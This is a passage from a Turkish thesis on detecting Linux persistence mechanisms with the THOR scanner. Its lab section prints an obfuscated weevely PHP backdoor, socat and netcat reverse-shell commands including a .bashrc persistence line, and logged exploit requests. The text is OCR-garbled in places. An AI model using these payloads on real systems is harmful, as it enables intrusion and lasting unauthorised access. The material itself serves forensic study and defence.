amaglanmaktadir. Sekil 5.7°de sisteme uygulamalarin kurulmasi, Sekil 5.8’de yetki yiikseltmek
icin yapilan islemler belirtilmistir. Sekil 5.9’da daha onceden igerigi degistirilen some.password
dosyast ile sisteme kalicilik birakmak amaglanmaktadir.
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_~/weevely3
install reguirements.txt

Defaultlng to user installation because normal site-packages is not writeable
Requirement already satisfied: prettytable in /usr/lib/python3/dist-packages
(from -r requirements.txt (line 1)) (0.0.0)
Collecting prettytable

Downloading prettytable-3.2.0-py3-none-any.whl (26 kB)
Requirement already satisfied: Mako in /usr/lib/python3/dist-packages (from -
r requirements.txt (line 2)) (1.1.3)
Collecting Mako

Downloading Mako-1.2.0-py3-none-any.whl (78 kB)

: 2 eta

Requirement already satisfied: PyYAML in /usr/lib/python3/dist-packages (from
-r requirements.txt (line 3)) (5.4.1)
Collecting PyYAML

Downloading PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinuxl_x86_64.man
ylinux_2_12 x86_64.manylinux2010_x86_64.whl (661 kB)

: 1. eta

Requirement already satisfied: python-dateutil in /usr/lib/python3/dist-packa
ges (From -r requ1rements txt (line 4)) (2.8.1)

Sekil 5.7. Uygulama kurulumlari

https //glthub com/andrew-d/static-binaries/raw/master/binaries/1
1nux/x96 64/socat /usr/bin/socat
/usr/bin/socat: Permission denied

https://github.com/andrew-d/static-binaries/raw/master/binar
1es/11nux/x86 _64/socat /usr/bin/socat

+x fusr/bin/socat
chmod: changing permissions of '/usr/bin/socat': Operation not permitted

+x /usr/bin/socat

Sekil 5.8. Yetki alma agamalar1

~/ueevely3
2.168.1.1080

68.1.108/backdoor_@.session

the connection

Sekil 5.9. Some.password dosyasi ile kalicilik birakma

38



Tablo 5.4’de sisteme yiikleme yapmak istedigimiz zararli dosyanin igerigi 6rnek olarak

belirtilmigtir.

Tablo 5.4. Zararli dosya igerigi

Zararl Igerigi

<7php

$C="P=0;($j<ScP& &S$i<$IPP);$j+P+,$i++){ $0.=$t{ PP$i} "$k{$j};} }retPPurn PSo;}if
(P@preg_match(P";

$t="Pval(@ gzuncompresPs(@x(@bPase64_dPecodPe($m[1]),$k)PP));$0=@0Pb_get_c
oPntents()P;@ob_e';

$B=str_replace('Ow',",'cOwreaOwte_OwfOwunOwOwction');

$P="Pnd_cPlean();P$r=P @bPase64_enPcode(@x(@gPzcomprePss($0),PPP$k));Pprint
("$pSkh$rekf"); }';

$f='P"/$kh(.+)$Pkf/" ,P@fileP_gePt_contentPs("php://iPnPput"),$mP)==1P)

{ @ob_stPartP();P@eP";

$d='P;functionP

x($t,$k){ $Pc=sPtrlen($k);$Pl=strPlenP(P$t);$Po="";for($i=0;$i<$PI;) {foPrP($j';
$F='$Pk="0P70a3P8d2";$kh="0P39a3294a280P";$kfP=P"48e64e652acc"P;$p=P"GgJ
AZRbP1PutTogTEnP"P";

$i=str_replace('P',",$F.$d.$C.$f.$t.$P);

$S=$B(",$1);$S0);

Sekil 5.9’da hedef sistem igerisinde yer alan 192.168.100.128 IP adresine baglant1 kurmak

amaglanarak Sekil 5.10°da bulunan usr/bin/mysuid dizininde kalicilik elde edilmesi gdsterilmistir.
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~[~/ueevely3
s://github.com/andrew-d/static-binaries/raw/master/binaries/

+x Jusr/bin/socat

|- [~/weevely3
at file: ,raw,echo=0 TCP-L:1337

~[~/uweevely3
y,stderr,setsid,sigint,s

E connect(6, AF=2 192.168.100.12

1-[~/weevely3

Sekil 5.10. Mysuid dizininde kalicilik elde edilmesi

5.5. Yiiksek Ayricalikh Local Hesap Olusturma

Linux isletim sistemlerinde tespit edilen kalicilik teknigi, sistemde arka kapilara erisim
saglamak amaciyla ayricalikli bir yerel hesap olusturma siirecidir, saldirgan bu teknigi uyguladigi
sistemlerde, bir kullanici hesabi parolasit degistirilirse dahil hedef sistemde erisim saglamak
amactyla kullanmaktadir. Bir hedef sisteme erigimi siirdiirmek i¢in kullanilabilir, ancak yerel bir
kullanic1 hesabi olusturmak, bu sistem daha kolay tespit edilebilir sebebi ise yetkisi olmayan bir
hesabin sisteme giris yapmasi sebebiyledir.

Sistemde yetkili bir kullanict olusturup eklendiginde sistemde kok kullanici yetkisi ile bilgi
elde etme imkanina sahip olunabilecegi tespit edilmistir. Ayn1 zamanda olusturulan kullanicilar
ve authorized_keys icerisine eklenen kalicilik mekanizmasi sistemde kok kullanict yetkisi
istemeden de kok kullanici yani root gibi davranma ayricaligini elde ederek sistemde kalicilik

saglamaktadir.

5.6. Unix Yapilandirma Dosyasi Degisikligi

Bu teknikte Linux igletim sistemi iizerinde yapilandirma dosyasinin gerekli parametreler
araciligi ile degistirilmesi ile kalicilik saglama yontemi tespit etme mekanizmalari aktarilmigtir.
Sistemde bir kullanicin komut ge¢misini belirten bash.rc dosyasinin yeniden yapilandirilmasi ile
Linux bash kabugu yiriitiilen bir dosyasidir.Saldirgan hedef sistemin IP adresini tespit eder ve
bash.rc dosyasini nano yazilimi ile goériintiileyerek komut icerisine kaydeder ve sistemde kalicilik
birakir. Hedef sistemde bash.rc dosyasini goriintiileyerek, netcat komutu ile hedef sistemin
dinleyicisi olmak igin gerekli adimlar denenmistir. Sekil 5.11 ve Sekil 5.12°de islemin detaylar
belirtilmistir. ilgili islemler sonrasinda hedef sistemde kullanici her oturum agtifinda saldirgana

bilgi ulasmasini saglamaktadir.

40



SHU nang b.@ /root/ . bashre

'error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01

alias 11="1s -1
alias la="1ls -A
alias 1="1s =CF

nc <192.168.100.128 1234 /bin/sh

Sekil 5.12. Netcat ile sisteme kalicilik birakma

Linux sistemler ilizerinde en yaygin kullanilan APT araci THOR gelismis kalicilik
mekanizmalar1  tespit yazilimidir. Olay miidahale gorevleri genellikle bir  grup
enfekte(somiiriilmiis) sistemle ve muhtemelen etkiledigi birgok enfekte sistem grubuyla baglar.
Ucretsiz siiriim olarak kendi sitesinde yayimlanan Thor-lite siiriimii mevcuttur. THOR, havuzunda
binlerce YARA, hash degeri, binlerce IOC degeri adli analizinizi kendi biinyesinde barindirir.
THOR, hizli sonuglarin ¢ok 6nemli oldugu anlarda siipheli unsurlari vurgulamak, is yiikiini
azaltmak ve adli analizi hizlandirmak ig¢in ¢ok kullanigh bir aragtir. Thor yazilimi makine
iizerinde ¢aligtirildiktan sonra bir html raporu olusturur ve sistem tizerinde bulunan IOC tespitleri
iizerinden zararhilarin kalicilik birakma durumlari arastirilir. Sistem tizerinde IOC (Indicator of
Compramise) siipheli vektorleri tespit etmek icin detayli arastirma yapar ve makine lizerinde
calisan yazilimin 8 saat siireye kadar sistemde tarama yapar ve sorgu sonucunu agik anlasilir bir
sekilde getirir. Tablo 5.5-5.8” de iiriin lizerinde kullanilan baz1 parametreler ve gorevleri

belirtilmistir.
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Tablo 5.5. Thor programi tarama sec¢enekleri

Parametre | Gorev
--alldrives | (Yalnizca Windows) Ag§ stiriiciileri ve ROM siiriiciileri dahil tiim yerel siirliciileri tara
(varsayilan: yalnizca sistem siiriiciisii)
--allhds (Yalnizca Windows) Tiim yerel sabit siiriiciileri tara (varsayilan: yalnizca sistem siiriiciisii)
-eventlog- | Belirli olay giinliiklerini tarama
target
strings
Tablo 5.6. Thor programi tarama modlari

Parametre Gorev

--fsonly Yalnizca dosya sistemini taramak, [OC platformunu bagimsiz olarak uygulamak igin
kullanilir.

--quick Eventlog, Giivenlik Duvari, Profiller ve Diizeltmeler modiillerini atlayim, islem giinlik
dosyalarini, EVTX dosyalarin1 veya web dizinlerini taramayin ve dosya sistemi taramast
icin yalnizca ilgili bit parametre secin.

Tablo 5.7. Thor taramalarinda kaynak limiti

Parametre | Gorev

--cpulimit | CPU kullanimin1 bu diizeyle sinirlayin (ylizde olarak). Minimum % 15 (varsayilan 50)

float

-minmem | Bos fiziksel bellek miktar1 bu degerin (MB cinsinden) altina diiserse ¢alisan taramayi iptal

uint edin (varsayilan 50)

Tablo 5.8. Thor taramalarinda 6zel tarama modlari

Parametre Gorev

-- Taramadan sonra birakma bolgesine birakilan tiim dosyalari silin.

dropdelete

--dropzone | Belirli bir dizine birakilan tiim dosyalar1 izleyin ve tarayin (-p ile iletilmelidir)
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Linux isletim sistemleri iizerinde thor yazilimi c¢aligtirma asamalari Tablo 5.9 da

belirtilmigtir. Calistiracagimiz ve ¢ikt1 alacagimiz dizine yazilimi sikistirilmis formati ile atarak

gerekli islemleri tamamlanmasi gerekmektedir.

Tablo 5.9. Thor yaziliminin ¢alistirilma asamalari

Komut Hedef

execfg tar -xvf thor10-linux.tar -C . Yazilimi digar1 aktarma
cd thor10-linux Yazilimin igerisine girilir.
exec chmod +x thor-linux-64 && ./thor-linux-64 Thor baglatilir.

Ilgili komut sistem iizerinde calistirildiktan sonra, “html” ve “txt” olmak iizere iki ayr1
APT tarayic1 ¢iktis1 elde edilir. Asagida bu ciktilar igerisinde bulunan birimlerin degerleri
verilmistir.

Elde edilen ¢ikt1 igerisinde, kullanilan yazilim hakkinda bilgiler yazilimin sistem {izerinde
caligma zaman gibi bilgiler yer almaktadur. Istatistik alaninda tiim bilgilerin toplandig: info alan,
hatalarin yer aldig1 Errors, sistemden aldigi uyarilarin bulundugu Warnings alani, sistemden
aldig1 Notice ve kritik seviyede durumlarin bulundugu Alerts alan1 bulunmaktadir. Sekil 5.13°de

sistemde taramasini tamamlamis bir Thor raporunun ¢iktis1 goriintiilenmistir.

THOR Scan Report
R k0 (TSN ©
0 b : )
Run on System Hosts 0 14
Argument list ProcessConnections 0 - 1032
Signature 2021/03/10-181545 ‘ServiceCheck 2 EZH
Database ——
Wed Mar 24 18:13:11 2021
- LogScan 15 Use Ctrl+1 (Windows/Linux) or 6+1 (mac0S) to return to the top of the page
Wed Mar 24 19:29:50 2021
PYTTIN oo 1021681221, Autoruns 0 :g:izi::spruuidea file (-filter file) with regular expressions to suppress false
17217.01 ARLE 1
T UserDir 1 Select text and use the context menu to filter / select / lookup strings
Red Hat Enterprise Linux Loggedin 0
| PO Check o

Sekil 5.13. Thor rapor ¢iktist

Sistem iizerinde bulunan 5 parametrenin detayli incelenmesi seminer sunumu iginde

belirtilmistir.

Alerts
Sistem tlizerinde alarm seviyesinde bir uyar1 bulunmasi kritiktir. Olusan alarmin kdk sebebi
bulunmali ve miidahale edilmelidir. Tespit edilen zararli dosyanin bulundugu dizin sistemde
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olustugu zaman erigim var ise erisim yapildigi zaman (Accessed Time) ve zararli dosyanin tespit
edildiyse hash degeri, zararli dosyanm tiirii ve karsilagilan Matched alaninda zararli dosya
alaninda ¢akisan ifadeler yer almaktadir. Zararli dosyanin bulundugu alan file segenegi lizerinden

tespit edilir. Sekil 5.14°de tespit edilen sass.jsp adl1 zararli bulgu tespiti belirtilmistir.

MODULE: Filescan

MESSAGE: Malware file found

SCANID: S-ZCNuack0olU

FILE: /appdata/Oracle/user_projects/domains/donationweb/servers/donationAdminServer/tmp/_WL_internal/com.oracle webservices.wls.bea-wls9-async-
response_12.1.3/cmqsjk/war/sass.jsp
EXT: .jsp

SCORE: 595

SIZE: 7142

CREATED: Mon Mar 22 10:00:26.163 2021
CHANGED: Mon Mar 22 10:00:26.163 2021
MODIFIED: Wed Jun 24 09:27,13.000 2020
ACCESSED: Tue Mar 30 17:07:48.748 2021
PERMISSIONS: -rw-r----

OWNER: appuser

FIRSTBYTES: 3c25407061676 72743 ab17661 / <%@page import="java
REASON_1: YARA rule Webshell_JSPX_Cknife_1 / Detects JSPX Cknife webshell

SUBSCORE_1: 75

REF_1: Internal Research

MATCHED_1: Str1: ".append("Result\t|\t\rin");" Str2: ".append("Execute Successfully\ti\tir\n');"
TAGS_1: FILE, T1100, T1136, WEBSHELL

Sekil 5.14. Thor zararl yazilim tespiti

Asagida bulunan thor bulgusu alaninda tespit edilen hash degerini, viriis total gibi tehdid
istihbarat platformlarindan aratarak, zararli dosya hakkinda bilgi elde edilir. Sekil 5.15° da verilen

Matched alaninda bulunan gibi bazi string ifadelerin siipheli oldugu belirtilmistir.

CREATED: Mon Mar 22 09:49:06.132 2021

CHANGED: Mon Mar 22 09:49:06.132 2021

MODIFIED: Wed Jun 24 09:27:13.000 2020

ACCESSED: Tue Mar 30 17:13:51.773 2021

PERMISSIONS: -rw-r——

OWNER: appuser

MD5: df9f69fdc92f1c68befebdacTdca7ba7

SHA1: 9c031f2603a36caae5d5f546a5df5303edc39048

SHA256: 90a1cea9beeb0bb421b0553bff5089f9483ecef33104614b80aad58ea2b5bc86
TYPE: ASP

FIRSTBYTES: 3c25407061676520696d706f72743d226a617661 / <%@page import="java
REASON_1: YARA rule Webshell_JSPX_Cknife_1 / Detects JSPX Cknife webshell
SUBSCORE_1: 75

REF_1: Internal Research

MATCHED_1: Str1: ".append("Result\t|\t\r\n");" Str2: ".append("Execute Successfully\t/\t\r\n");"
TAGS_1: FILE, T1100, T1136, WEBSHELL

RULEDATE_1: 2019-04-02

SIGTYPE_1: internal

REASON_2: YARA rule EXT_WEBSHELL_JSP_Generic_Tiny / Generic JSP webshell tiny
SUBSCORE_2: 75

REF_2: -

MATCHED_2: Str1: "Runtime" Str2: "getRuntime" Str3: "exec" Str4: "<%" Str5: "getParameter” Str6: "getinputStream"” Str7: "request”
TAGS_2: GEN, T1100, T1136, VENDOR, WEBSHELL

Sekil 5.15. Thor zararli yazilim tespiti
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Warnings

Sistem tlizerinde tehdit olusturdugu veya olusturabilecek bulgular Web Shell, Ransomware,
Spyware veya baska diger tiirlerde zararli dosya Hash veya IP, domain bilgileri bu alanda tutulur
ve uyar1 seklinde verilir. Asagida bulunan 6rnekte, Log taramalar1 yapilmis ve sonucunda
var/log/nginx/access.log dizini altinda 24 Mart 2021 tarihinde CVE-2020-3452-Scanner-Exploiter
aciklig1 tespit edilmistir. Sekil 5.16° da gosterilmistir.

MODULE: LogScan

MESSAGE: YARA Rule Match in Log Entry

SCANID: S-Ukr07x7sDI0

FILE: /var/log/nginx/access.log

ENTRY: 10.6.88.150 - - [24/Mar/2021:18:40:09 +0300] "GET /+CSCOT+/0em-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%
2b/portal_inc.lua HTTP/1.1" 200 2253 ™" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"

NAME: LOG_EXPL_CVE_2020_3452_Cisco_ASA_FTD_Jan21_1

SCORE: 80

DESCRIPTION: Detects log eniries with exploitation attempts addressing CVE-2020-3452 (Cisco Adaptive Security Appliance and FTD Unauthorized Remote File Reading) and
replys with status code 200

REF: https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter

SIGTYPE: internal

MATCHED_STRINGS: Str1: +CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1" 200
TAGS: EXPLOIT, LOG, T1210

RULEDATE: 2021-01-07

Sekil 5.16. Exploit alarmi

Asagida bulunan 6rnekte, Log taramalar1 yapilmis ve sonucunda var/log/nginx/access.log
dizini altinda bulunan web erisim loglarinda 24 Mart 2021 tarihinde /c99.php zararli web shell
dosyasi tespit agikligr Sekil 5.17 ‘de gosterilmistir.

MODULE: LogScan

MESSAGE: Suspicious file name in Log Entry found

SCANID: S-Ukr07x7sDI0

FILE: /var/log/nginx/access.log

ELEMENT: 10.253.254.0 - - [24/Mar/2021:18:40:24 +0300] "GET /c99.php HTTP/1.1" 200 960 " "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36"

PATTERN: /c99.php

SCORE: 80

DESC: Webshell Names

SIGTYPE: internal

Sekil 5.17. Web Shell dosyast

Asagida bulunan 6rnekte, Log taramalar1 yapilmig ve sonucunda var/log/nginx/access.log
dizini altinda bulunan web erisim loglarinda, 24 Mart 2021 tarihinde aspxspy backdoor dosyasi

olustugu tespit edilmistir. Sekil 5.18. *de detayli olarak gosterilmistir.

MODULE: LogScan

MESSAGE: Suspicious file name in Log Entry found

SCANID: S-Ukr07x7sDI0

FILE: /var/log/nginx/access.log

ELEMENT: 10.253.254.0 - - [24/Mar/2021:18:40:25 +0300] "GET /aspxspy.aspx HTTP/1.1" 200 960 - “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/73.0.3683.103 Safari/537.36"

PATTERN: aspxspy

SCORE: 75

DESC: Diverse tools and malware names

SIGTYPE: internal

Sekil 5.18. Backdoor tespiti
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Notice

Sistem {iizerinde log taramalari, firewall notlar1 veya diger tiir zararli yazilim araglarinin
bulunan ve giivenlik ihlaline sebep olabilecek notlar bu alanda verilmektedir. Asagida bulunan
ornekte goriilecegi gibi Web Vulnerability Scanner uyarisi aldig tespit edilmistir. Sekil 5.19°

da gosterilmistir.

MODULE: LogScan

MESSAGE: YARA Rule Match in Log Entry

SCANID: S-Ukr07x7sDI0

FILE: /var/log/nginx/access.log

ENTRY: 10.253.254.0 - - [24/Mar/2021:18:39:32 +0300] "GET /util/barcode.php?type=../../../....[..I..]..]..]..]../etc/passwd%00 HTTP/1.1" 200 960 " "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
NAME: LOG_Website_Log_Injection

SCORE: 50

DESCRIPTION: Detects injection attempts (web vulnerability scanners / attacks)

REF: -

SIGTYPE: internal

MATCHED_STRINGS: Str1: ../../etc/passwd%00 HTTP/1.1" 200

TAGS: LOG, T1046

RULEDATE: 2016-02-23

Sekil 5.19. Web giivenlik acig1

Info

Sistem {izerinde giivenlik ihlaline sebep olabilecek notlarin toplam degeri bu alanda
verilmektedir. Iyilestirme veya hangi alanda hangi loglarin toplandigmin belirlenmesi icin
kullaniciya genis bir pencere sunmaktadir.

Error

Sistem iizerinde bulunan hatalar1 toplayarak not olarak ekleyen alan belirtilmistir.
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6. BULGULAR VE TARTISMA

Linux, en ¢ok bilinen ve en ¢ok kullanilan agik kaynak kodlu isletim sistemidir. Bu da
isletim sistemini kullanan kisinin bilgisayarin arka planinda doénen neredeyse her seyden haberi
olabilecegi, isletim sistemini kendi istekleri dogrultusunda diizenleyebilecegi ve
gelistirebilecegi anlamina gelmektedir. Saldirganlarin Linux sistemler {izerinde oturum ag¢mast
veya yetki yiikseltmesi biiylik tahribatlara sebep olacaktir. Linux sistemler {izerinde giivenlik
saglamak i¢cin Windows sistemlere gore ¢ok daha az calisma bulunmaktadir. Sanal sistemler
bliylik kurumlar ve genis network aglar icin ¢ok biiyilk 6neme sahiptir. Kullanim oranim
yayginlagmasi ile dogru orantili olarak sistem gilivenliginin saglanmasi ve sorunun kaynak
koklerinin tespit edilmesi ile ilgili galismalar daha yayginlagsmalidir.

Linux sistemler {izerinde zafiyet taramalarimin siiresinin daha kisa olmasi olas1 saldirt
durumlarinda anomali tespitinin kolaylagmasi ve alinacak aksiyonlarin kisa siirede tamamlanmast
anlamina gelmektedir. A¢ik kaynak kodlu sistemlerin giivenlik dnlemlerinin artirilmasi, gerekli
sikilagtirma ¢alismalarinin tamamlanmasi ve sistem iizerinde uygun konfigiirasyonlarin yapilmasi
saldirgan aktivitelerinin dnlenmesi hususunda ¢ok biiyiik 6neme sahiptir.

Siber saldirilarin giin gectikge hizla arttigi giiniimiiz teknolojisinde her bir teknoloji {iriinii
bir u¢ nokta olarak degerlendirilebilir. Yeni nesil antivirlis 6geleri gercek zamanli anormal
durumlar1 algilama ve uyarma, adli analiz ve u¢ nokta diizeltme yetenekleri saglamak i¢in ek
araglarla birlestiren gilivenlik sistemleridir. Linux sistemler diizenli olarak izlenmelidir olusan
alarm mekanizmalar1 {izerinde sikilagtirmalar yapilmalidir.

Olay sorumlusu, planlanmis siipheli gorevleri ve isleri aramalidir. Saldirganlar
zamanlanmis gorevler iizerinde kalicilik birakarak sistemde diizenli taramalar veya tahribatlar
elde edebilir.

Saldirganin sistemde biraktig1 kalicilik unsurlarini tespit etmek ve kalict dnlemler almanin
avantajlar1 asagidaki gibi siralanabilir:

e Kurumsal ag ortaminda uzun yillar bilgi toplama amacli ¢alisan mekanizmalarin
durdurulmasi ve olasi saldirilara karsi sistemin korunmas.

e Kisa ve hizli analiz sonucunda kotiiciil aktivitenin durumunu ortaya ¢ikarmak hasarlari
onlemek

e Analizler sonucu elde edilen saldir1 gostergelerinin APT taramalar ve adli incelemeler ile
¢ikarilmasi (IOC) tiim sistemde korunmasi ve ilgili IOC’ler ile kurumsal agda yer alan
giivenlik ¢oziimlerinde (EDR, EPP, SIEM, SOAR) saldiriin yayilimi gézlemlemek i¢in
kurallar olugturulmasi ve gelecege yonelik 6nlemler alinmasi gerekmektedir.

e Log dosyasi kayitlar1 sonucunda sistemden elde edilen bilgilerin raporlanabilir olmasi.



e Windows sistemlerde 6n veri kaydi ile daha hizli sonuglar elde edilebilirken Linux

sistemlerde tespit ve miidahale agamalar1 daha uzun zaman almaktadir.

6.1. Delil Elde Etme Yontemlerinin Karsilastirilmasi

Olay miidahale siireglerinde, Windows sistemlerde 6n yiikleme kayitlarinin toplanmasi i¢in
siklikla kullanilan araglar bulunurken Linux sistemlerde APT tarama ve adli analiz yontemleriyle

delile ulagsmasi ana 6zellikleri ile Tablo 6.1°de sunulmustur.

Tablo 6.1. Delil yontemleri karsilagtirilmasi

Adli APT On Delil

Analiz Tarama Kaydi
Calisan Zararli Kayd: | v/ v v
Zararl Ozet Bilgisi v v v
Zaman Bilgisi v v v
Dizin Bilgisi v v v
Hash Bilgisi v v v
Orijinal Delile
Ulasma v X X
Ugtan Uca Inceleme | v/ X
Hizli Sonug X X v
Geligmig Zararli
Yazilim Tespiti v X X

Saldirt vektorii tespit edilen sistem icin gelismis kalicilik ve tehdit araglar1 kullanilarak
sistemden delil elde etme yontemleri belirlenmistir. Lisansh veya lisansiz kullanim imkanlar1 olan

saldir1 tespit {irlinlerinin karsilastirilmasi Tablo 6.2°de verilmistir.

Tablo 6.2. Anormal durum tespit yontemlerinin karsilastirilmasi

THOR- TRICKST3RIS Dradis
THOR LITE | FENRIR SH
X
Kalicilik Tespiti v v X X
Zararl Yazilim /
Tespiti v v v X
Gelismis Kalicilik v
Tespiti v X X v
Gelismis Zararh
Yazilim Tespiti v v X X X
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6.2. Giivenli Linux

Gilivenli Linux isletim sistemine sahip olmak icin oncelikle giivenli kurulum yapilmasi

gerekmektedir. Linux kurulumunda deneyimli bir kullanici, her Linux siirlimiiniin kurulum

programinda bulunan tipik sunucu varsayilan seceneklerini se¢gmemelidir. Giivenli kurulum

yaparak acik kaynakli sistemlerde bilgisayar lizerinde tam bir hakimiyete sahip olmamiz saldirgan

etkilerini minimum seviyeye indirgemek konusunda analistlere goriiniir kap1 agmaktadir.

Sistem kurulumu yapilirken tehlikeli paketlerin kontrolleri baslangic asamasinda kontrol
edilir legal parametrelerin illegal parametreler olarak gosterildigi birtakim 6rneklere dikkat
etmek gerekmektedir. Zaafiyetleri onlemek agisindan Linux isletim sistemleri giincel
tutulmal1 ve yayinlanan patchler diizenli olarak eklenmelidir.

/etc/security/console.apps/ igerisinde bulunan dosyalar1 silmek ve ilgili dosya ve dizin
yapilarini kontrol altina almak makineyi istenilen anda kapatmak ve agmak gibi belirli
yetkilere consol iizerinden erisim sagladigindan Linux sistemde ilgili dosyanin silinmesi ve
ortadan kaldirilmas1 saldirgan sisteme eristiginde tam yetki kontrol saglamak ig¢in
yapabilecegi ilk islemler arasinda olacaktir.

Gtivenlik artirnmi yapabilecegimiz bir baska dosya yapist pam.d dizini bir diger giivenlik
artirnmi da sisteminde saglanabilir. Yazilimlarin nasil kullanilacaginin tutuldugu konusunda
ipuclar1 vermektedir. Ilgili dosya iizerinde kisitlama yapilarak tehlikeli komutlarin galismasi
engellenmektedir. Pam.d dosyasi giivenlik agisindan gerekli kontrollerin yapilmasi gerekli
olmayan yetkilerin kapatilmasi gibi islemler agisindan en 6énemli dosyalardandir.

Gerekli olmayan servislerin kapatilmasi ilgili dosya icerisindeki ftp sunucusunun yetkisinin
kaldirilmas1 gerekmektedir. Gereksiz aktif dosyalarin kapatilmasi ile tespit yapilarak sistemde
giivenlik seviyesi artirilmalidir. Ozellikle yetkisiz erisimlere kapali olmasi gereken kritik
dosyalarin herkes icin yazma izinli olanlarim tespit etmek ve bu dosyalarin izinlerini dogru
bir sekilde yapilandirmak gerekmektedir. Gereksiz kullanicilara sadece okuma yetkisi
verilmelidir.

Bir bagka gilivenlik artirimi host.deny dosyasi igerisinde ag servislerinize ulagsmaya yetkili
kullanicilar1 kisitlamaya yarar. Genellikle bu dosya icinde herkese biitiin yetkiler kisitlanir.
Sisteme ulasan yetkililer sisteme girmeye yetkili [P adresi veya bilgisayar adlarn
/etc/hosts.allow dosyasi i¢inde belirlenir. Host.deny dosyasi igerisinde biitiin erisim haklarini
kapat secenegi Linux sistemlerde giivenlik artirrmi yapmak konusunda biiylik bir dnlem
olmaktadir. etc/hosts.allow dosyas1 bu dosya, /etc/hosts.deny dosyasinda tamamen

kapattiginiz erisim haklarin1 baz1 yetkili bilgisayarlara iade etmek i¢in kullanilir.
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/etc/issue dosyas1 ve domain igerisinde erisim saglama islemi yapan /etc/issue.net dosyalart,
sisteminize konsoldan veya telnet yolu ile baglanmak isteyen kisilere login islemlerinden
dolay1 daha 6nce gosterilen bilgi satirlarini igerirler.

Linux sistemlerde kaynaklarin azaltilmasi ve sistem erigimlerinin olabildiginde internete
kapalt olmasi gerekmekte kullanici, sunucu erisim bazinda kisitlamalar yapilmaktadir.
Gerekmeyen veya kullanilmayan yazilimlarin kaldirilmasi, kullanilmayan kullanict
hesaplarimin engellenmesi ve kaldirilmasi, gereksiz yazilimlarin kaldirilmasi ve sistem
tizerinde reputasyon degeri yiiksek olan zararli yazilimlarin kontrol edilmesi gerekmektedir.
Erisim kontrolii i¢in default deny kuralim uygulayarak ozellikle izin verilenler diginda
digerlerinin erisimini engellemek ve kural dosya izinlerinin alinmasim saglamak, firewall
kurallar1 ve verilere erisim gibi kontroller i¢in uygulanabilir.

Yazilim ve igletim sistemlerine ait banner ve versiyon bilgilerini saklayarak bunlara 6zel
zafiyetlerin tespit edilip istismar edilmesini 6nlemeye ¢alismak yazilimlar1 giincel tutmak ve
zafiyet igeren sistemlerde yamalarin yaymlarini takip ederek sistemde giivenlik seviyesini
artirmak biiyiik 6nem tagimaktadir.

Gereksiz paketlerin kurulumundan kaginarak zafiyetlere neden olabilecek servislerin
caligmasinin oniine gegmek, sadece gereken servislerin ¢alistigindan emin olunmasi
Istenmeyen ag servislerini tespit edip engellemek icin agik portlar1 ve bunlara baglh
uygulamalar1 gbzden gecirmek

USB’lerin algilanmasini1 engellemek igin ayarlamalar yaparak fiziksel olarak sistemlere
bulasan zararh yazilimlarin yayimlarini azaltmak konusunda fayda saglamaktadir.

Yetkisiz erigimleri ve sunucuya gelen giden trafigi giivenlik acisindan denetlemek igin yeni
nesil giivenlik duvari ¢oziimleri uygulamak gerekmektedir. Sisteme belli bir sayida basarisiz
giris denemesi oldugunda sistemde kullanicinin engellenmesi gerekmektedir.

Web servislerinin giivenligi saglanmali ve gerekli log entegrasyonlar1 diizenli olarak kontrol
edilmelidir.

Bulundugumuz sanal ortamin network ortaminda topolojisinin belirlenmesi siirekli topoloji
iizerinde bulunan giincellemeler siirekli eklenmelidir. Ilgili topolojide mutlaka mail giivenligi
tiriinleri kullanmak gerekmektedir. Kullanilan mail servisinin giivenligini saglamak ve
topolojik acidan sistemi degerlendirmek olasi oltalama maili saldirilarina gére biiyiik 6nem

tagimaktadir.
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7. SONUCLAR

Bu tez calismasinda agik kaynak kodlu isletim sistemlerinin son yillarda siber
saldirganlarin hedefi olmasi ile birlikte gelisen tehditler iizerinden analizler yapilmistir. Linux
isletim sistemlerinin giinliikk hayatta sistem altyapilarimizda siklikla kullanilmasinin ardindan
saldirgan aktivitelerden korunmaya dikkat edilmesi ve kurumlar1 bekleyen tehlikeler ile ilgili
sonuglara ulagilmistir.

e Siber ataklarin hizla artis ve yayilim gosterdigi son yillarda saldirganlarin sistem {izerinde
ihlaller olusturmas: ile birlikte Linux sistemlerden adli delil elde edilmesi ve incelenmesi
olas1 tehlikelerin kok sebeplerinin bulunmasi 6nem kazanmustir.

e Linux sistemler adli bilisim deliller kisa siirede elde edilmesi incelenmesi ve sonuca
kavusturulmasi siireglerinde hizli analiz kurum ve kuruluslarin zararini 6nemli derecede
diisirmektedir.

e Bu calisma icerisinde dncelikle genis capli bir literatiir taramasi1 yapilmustir.

e (Caligma sonucunda Linux sistemlerin fiziksel veya mantiksal acidan ugtan uca incelenme
asamalar1 detayl olarak aktarilmistir.

e Kurumlar igerisinde kullanilan Linux sistemlerde kalicilik saglayan mekanizmalarin
taranmast konusunda birgok yazilim mevcuttur ve saldiri parametrelerini ortaya
¢ikarmaktadir.

o Sistemler {izerinde yapilan detaylt APT taramalari sonucunda taranan farkli linux sistemler
iizerinde elde edilen veriler iizerinde analiz yapilarak sonuglar karsilastirilmistir.

e APT tarama uygulamalari kalic1 gorev ekleyen sistemlerden veri elde edilebilmektedir.

e Saldirganlar ¢esitli yontemler ile kalicilik birakarak uzun yillar sistemden bilgi
toplayabilmektedir.

o Kalicilik birakmaya calisan saldir1 aktiviteleri adli analiz metotlari ile agiga kavusturulabilir.



ONERILER

Linux sistemler i¢in derin analiz yapilmasi ve bu c¢aligmalarin gelistirilmesine 6nem

verilmesi gelisen teknolojimiz i¢in biiyiik onem tasimaktadir.

Linux sistemler iizerinde test galismalar1 yapilarak alinabilecek onlemler ve aksiyonlar

miimkiin olan en kisa siirede alinmalidir. Linux sistemlerde giivenlik seviyesi artirilmasi ve

